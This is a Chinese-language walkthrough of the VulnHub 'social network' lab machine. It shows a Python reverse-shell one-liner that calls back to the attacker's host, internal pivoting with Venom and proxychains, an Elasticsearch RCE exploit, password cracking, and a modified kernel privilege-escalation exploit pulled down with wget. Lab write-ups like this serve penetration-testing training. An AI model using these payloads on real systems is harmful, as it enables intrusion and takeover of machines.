medium_socnet
靶机地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
内容简介:
这是本系列的第04次打靶,我选择了一个中等难度的靶机。在这次打靶过程中,我们将使用到以下攻击手段:
主机发现
端口扫描
服务发现
路径爬取
代码注入
Shell脚本
内网信息收集
内网穿透
漏洞利用
密码破解
本地提权
攻击代码修改
打靶过程:
arp-scan -l //主机发现192.168.2.19为靶机
对ip进行扫描,扫描发现开启22,5000端口
Nmap -p- 192.168.2.19
对端口进行服务扫描
Nmap -p22,5000 -sV 192.168.2.19
22端口是ssh服务,5000是http服务,访问5000端口
既然是web网站,那肯定要浏览器访问看看,这个靶场开放的web页面非常的简单,只有一个类似于评论的输入框,这种地方可以考虑试一下xss,或者是sql注入,经过简单的测试,并没有成功,然后考虑继续做其他的信息收集,之后如果实在没有突破点,再来尝试此处。
使用dirsearch进行路径爆破,发现一个/admin路径
Dirsearch -u http://192..168.2.19:5000
访问/admin这个路径,发现这是一个代码执行页面
代码注入
使用python反弹shell代码将ip和端口改为kali的,并再kali进行监听
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.14",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
反弹成功ls看一下路径,id 看一下权限,直接是root权限??细看一下存在一个Dockerfile文件这应该是一个docker容器的root权限
为了进一步确认是否是docker容器,有两种方法第一种查看根目录下是否有/.dockerenv
第二种方法cat /proc/1/cgroup查看是否存在docker的哈希值,验证发现这就是一个docker容器
那么就要从docker容器中突破出来,先查看docker的ip,172.17.0.3
在内网进行主机发现最简单的方法就是进行ping,内网的网段地址段很大,手工ping效率太低所以使用脚本进行,这就不扫描65535个了就扫10个
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done
经扫描发现172.17.0.1和172.17.0.2两个网段回包了,因为172是内网网段,所以要通过隧道攻击,这里使用的Venom
现在服务端启动监听
./admin_linux_x64 -lport 9999
客户端需要下载,进入到客户端所在的目录,在kali启动一个http服务
Wget去访问下载客户端
Wget http://192.168..14:80/agent_linux_x64
查看一下已经存在,赋予可执行权限
Chmod +x agent_linux_x64
启动客户端
./agent_linux_x64 -rhost 192.168.2.14 -rport 9999
服务端已经监听到了
Show //查看一下节点
Goto 1 //进入节点1
Socks 1080 //设置一个socks代理
设置配置文件,将最底部改为socks5 127.0.0.1 1080
vi /etc/proxychains4.conf
这样就可以使用kali上的扫描工具对内网进行扫描了
proxychains nmap -Pn -sT 172.17.0.1
扫描发现两个端口22,5000
继续对服务版本进行扫描
proxychains nmap -P22,5000 -sV -Pn -sT 172.17.0.1
既然也存在http服务那就访问一下,这里需要修改浏览器的代理,改为刚才设置的socks的代理
访问之后和另一个页面是一样的,说明这个ip是目标的宿主机
接下来对172.17.0.2进行扫描
proxychains nmap -Pn -sT 172.17.0.2
扫描只发现了一个9200端口
对9200进行版本扫描
proxychains nmap -p9200 -sV -Pn -sT 172.17.0.2
扫描发现是Elasticsearch服务版本是1.4.2,Elasticsearch历史版本出现过RCE远程代码执行漏洞,那么会不会存在漏洞呢,kali中存在很多漏洞利用代码。
使用kali搜索一下
searchsploit elasticsearch
前两个是RCE远程代码执行的代码,可以挨个试一下
拷贝一下这个文件
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
查看代码是用python2来写的那么直接用python2来调用,id发现又获得一个root权限
proxychains python2 36337.py 172.17.0.2
根目录下存在一个password文件
查看一下这个文件获得了密码和用户名,密码是哈希值那么就破解一下(MD5)。
试想一下这个账号和密码是用来登录什么的呢,目前只有一个ssh可以尝试一下
登录ssh试一下账号john,密码是1337hack竟然登录成功了
Ssh john@192.168.2.19
查看一下权限,尝试一下能不能直接sudo -s提升为root权限,发现不行没有sudo权限
那么怎么才能提升权限呢?查看一下内核是3.13的古老内核,可以尝试一下内核提取
搜索一下
searchsploit linux 3.13
从中随便挑选一个,拷贝下来,然后查看一下这个文件
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
Vi 37292.c
查看得知这是一个C语言的源码,需要执行先要进行编译使用gcc进行编译,编译之后进行执行。可是在宿主机上没有安装gcc
因此我对源码进行了修改,删除调用gcc的部分源代码后进行编译
修改后在对源码进行编译,编译过程会报错但是并不影响输出结果
Gcc -o exp 37292.c
查看源码是发现还需要一个二进制文件ofs-lib.so,找到源代码中调用gcc编译的那个源代码文件的编译好的文件
Locate ofs-lib.so
将这个文件拷贝到当前目录下
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
启动http服务
Python3 -m http.server 80
Wget http://192.168.2.14/exp
Wget http://192.168.2.14/ofs-lib.so
将两个文件下载下来
赋予可执行权限
Chmod +x exp
为了执行效果的成功,把这两个文件拷贝到目标靶机的tmp目录下,进入tmp目录
Mv * /tmp/
执行exp成功获取root权限
总结:面对靶机,先进行了主机发现,之后针对已经发现的主机进行了端口扫描以及服务的扫描,当扫描结束之后,发现目标主机存在5000端口的web应用,尝试访问web应用,在web应用下没有收获任何漏洞,之后对web应用进行路径发现,发现了一个/admin的后台页面,在该后台地址发现了远程代码执行漏洞,利用反弹shell获取到了一个root权限,但是该root权限是一个容器系统,然后基于该容器系统对其内网的Ip地址段进行发现,发现过程中,识别出两个内网主机的IP地址,之后挂取代理进行内网穿透,对这两个地址进行全端口扫描,在扫描过程中,发现了在一台主机上发现了9000端口,该端口是Elasticserch的默认端口,又都Elasticserch进行漏洞的利用和攻击,成功拿下了172.17.0.2这台主机,在这台主机中发现了passwords这个文件,对其进行解密后,利用发现的用户名和密码对目标主机进行尝试登录,登录后发现只是一个普通用户权限,因目标主机使用的是内核较老的linux发行版,所以此时使用最直接的提权方法:针对内核的提权。但是漏洞利用代码无法直接在目标系统进行gcc的编译,所以只能修改代码,重新编译,然后将编译后的代码和库文件一起传输的目标系统,然后进行提权,获取到root权限
扫描发现5000端口 -> 服务探测发现web服务 -> 网站路径扫描发现管理页面 -> 利用代码执行获取shell -> 判断docker容器 -> 做内网穿透开始探测内网 -> 发现同网段docker容器漏洞并利用获取shell -> 信息收集找到普通用户密码 -> 在线网站密码破解登录靶机ssh服务 -> 最后利用提权exp成功获得root权限